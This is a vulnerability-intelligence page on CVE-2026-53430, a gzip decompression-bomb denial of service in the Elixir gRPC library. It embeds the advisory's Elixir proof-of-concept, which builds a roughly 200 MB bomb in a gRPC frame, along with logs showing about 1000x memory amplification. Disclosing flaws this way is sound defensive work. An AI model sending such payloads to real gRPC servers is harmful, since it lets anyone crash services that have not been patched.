gRPC Erlang package has unbounded gzip decompression (decompression bomb)
CVSS score
—
EPSS probability
%0.5
Risk score
—
Published
1 mo ago
Etkilenen ürün ve sürüm için yayımlanan güvenlik güncellemesini uygulayın.
Impact on My Inventory
Only the personal products you have added to your account are assessed; an organisation's inventory does not appear here.
Checking session…
Vulnerability description
DayBreach CVE AI Research
CVE-2026-53430 has vendor, distribution, patch and security-source records on file. We can compare them and prepare an explanation linked to the evidence.
### Summary An unauthenticated remote peer can crash any gRPC server built on this library by sending a small gzip-compressed frame that decompresses to gigabytes, exhausting the BEAM node's heap and triggering an OOM kill (denial of service). Introduced in https://github.com/elixir-grpc/grpc/commit/beae6800fc8baf126f3fe7107d86a50e105275ba ### Details `GRPC.Compressor.Gzip.decompress/1` (lib/grpc/compressor/gzip.ex:12-14) calls `:zlib.gunzip/1` directly on attacker-controlled bytes with no size limit, no ratio check, and no incremental decoding. Because this module is registered as a `GRPC.Compressor` implementation, it is invoked automatically whenever an incoming gRPC frame carries `grpc-encoding: gzip`. `:zlib.gunzip/1` allocates the entire decompressed result as a single binary before returning, so a highly compressible payload (e.g. a few kilobytes of zeros, which gzip compresses at roughly 1000:1) expands to multiple gigabytes inside a single function call. The server's `max_receive_message_length` is enforced only against the already-decompressed message, so it provides no protection here. A single request is sufficient to OOM-kill the node. ### PoC A script that verifies the vulnerability is attached to the end of this report. Run it against a stock gRPC server using this library; the BEAM node's memory usage will balloon and the VM will be OOM-killed after a single request. ### Impact This is a decompression bomb / denial-of-service vulnerability. Any service that exposes a gRPC endpoint built on this library and accepts gzip-compressed requests is affected. No authentication, prior state, or special configuration is required — the attacker only needs to be able to reach the gRPC port and send a single crafted frame with `grpc-encoding: gzip`. ## Scripts and Logs ```elixir # Verifies: Unbounded gzip decompression (decompression bomb) Mix.install([{:grpc, "~> 0.9"}]) # Build a gzip bomb: 200 MB of zeros compresses to roughly a few hundred KB. uncompressed_size = 200 * 1024 * 1024 bomb_payload = :zlib.gzip(:binary.copy(<<0>>, uncompressed_size)) # Wrap the bomb in a gRPC length-prefixed frame with the "compressed" flag (1) # set. This is the exact wire shape an outside peer would put on the socket # for a `grpc-encoding: gzip` message. frame = <<1, byte_size(bomb_payload)::unsigned-integer-32, bomb_payload::binary>> IO.puts( "Compressed bomb: #{byte_size(bomb_payload)} bytes -> claims to expand to #{uncompressed_size} bytes" ) :erlang.garbage_collect() mem_before = :erlang.memory(:total) IO.puts("Memory before: #{div(mem_before, 1024 * 1024)} MB") # Public entry point: GRPC.Message.from_data/2 is what the server's request # handling pipeline calls with the raw bytes pulled off an incoming HTTP/2 # DATA frame, once it has resolved the encoding header to a compressor module. # An outside attacker controls `frame`; the library is the trust boundary. {:ok, decompressed} = GRPC.Message.from_data(%{compressor: GRPC.Compressor.Gzip}, frame) mem_after = :erlang.memory(:total) IO.puts("Memory after: #{div(mem_after, 1024 * 1024)} MB") IO.puts("Delta: #{div(mem_after - mem_before, 1024 * 1024)} MB") IO.puts("Decompressed binary size: #{byte_size(decompressed)} bytes") amplification = byte_size(decompressed) / byte_size(bomb_payload) IO.puts("Amplification ratio: ~#{Float.round(amplification, 1)}x") if byte_size(decompressed) == uncompressed_size do IO.puts( "VERIFIED: GRPC.Message.from_data/2 fully expanded the gzip bomb with no size cap, growing heap by ~#{div(mem_after - mem_before, 1024 * 1024)} MB from a #{div(byte_size(bomb_payload), 1024)} KB attacker payload." ) else IO.puts("NOT VERIFIED: decompressed size did not match expected payload") end ``` ```logs Compressed bomb: 203860 bytes -> claims to expand to 209715200 bytes Memory before: 45 MB Memory after: 403 MB Delta: 358 MB Decompressed binary size: 209715200 bytes Amplification ratio: ~1028.7x VERIFIED: GRPC.Message.from_data/2 fully expanded the gzip bomb with no size cap, growing heap by ~358 MB from a 199 KB attacker payload. ```
IMPACT: Affected Products and Software
RED HAT CSAF/VEX: Product Impact Check
SCORING: CVSS from Multiple Sources
CVSS Scores
The Common Vulnerability Scoring System is a standardised framework for assessing the severity of vulnerabilities in software and systems. We collect and display CVSS scores from several sources for each CVE.
| SCORE | VERSION | SEVERITY | VECTOR | SOURCE |
|---|---|---|---|---|
| 8.7 | CVSS 4.0 | — | Vector not published | GitHub Advisory |
Patch and Remediation Guide
Solution & Remediation Advisory
1 doğrulanmış yama veya düzeltilmiş sürüm kanıtı bulundu.
1.0.0OSV düzeltilmiş sürüm: 1.0.0
Public exploit and active exploitation status
Verified exploit intelligence
No verified public PoC, exploit repository or Metasploit module has been found for this CVE yet.
Weakness Classification and Attack Patterns (CWE & CAPEC)
CWE - Common Weakness Enumeration
While CVE identifies specific instances of vulnerabilities, CWE categorises the common flaws or weaknesses that can lead to vulnerabilities. CVE-2026-53430 is associated with the following CWEs:
Common Attack Pattern Enumeration and Classification (CAPEC)
Common Attack Pattern Enumeration and Classification (CAPEC) stores attack patterns, which are descriptions of the common attributes and approaches employed by adversaries to exploit the CVE-2026-53430 weaknesses.
Official Sources and Advisories
Similar Vulnerabilities
Remote code execution and denial of service via unsafe Erlang term deserialization in elixir-grpc/grpc
Phoenix transports do not limit channel joins per connection, enabling process-exhaustion denial of service
Vulnerability in Wojtekmach Req
Phoenix JavaScript presence client crashes on presence keys colliding with Object.prototype members in Presence.syncState/syncDiff
Vulnerability in Ninenines Gun
Resource allocation without limits in Ninenines Gun
Get this vulnerability through the API
Affected products, version ranges, exploitation status and patch information in a single request, with a free key.
curl -H "x-api-key: $DAYBREACH_API_KEY" \ "https://api.enginteksut.com.tr/api/v1/intel/cves/CVE-2026-53430"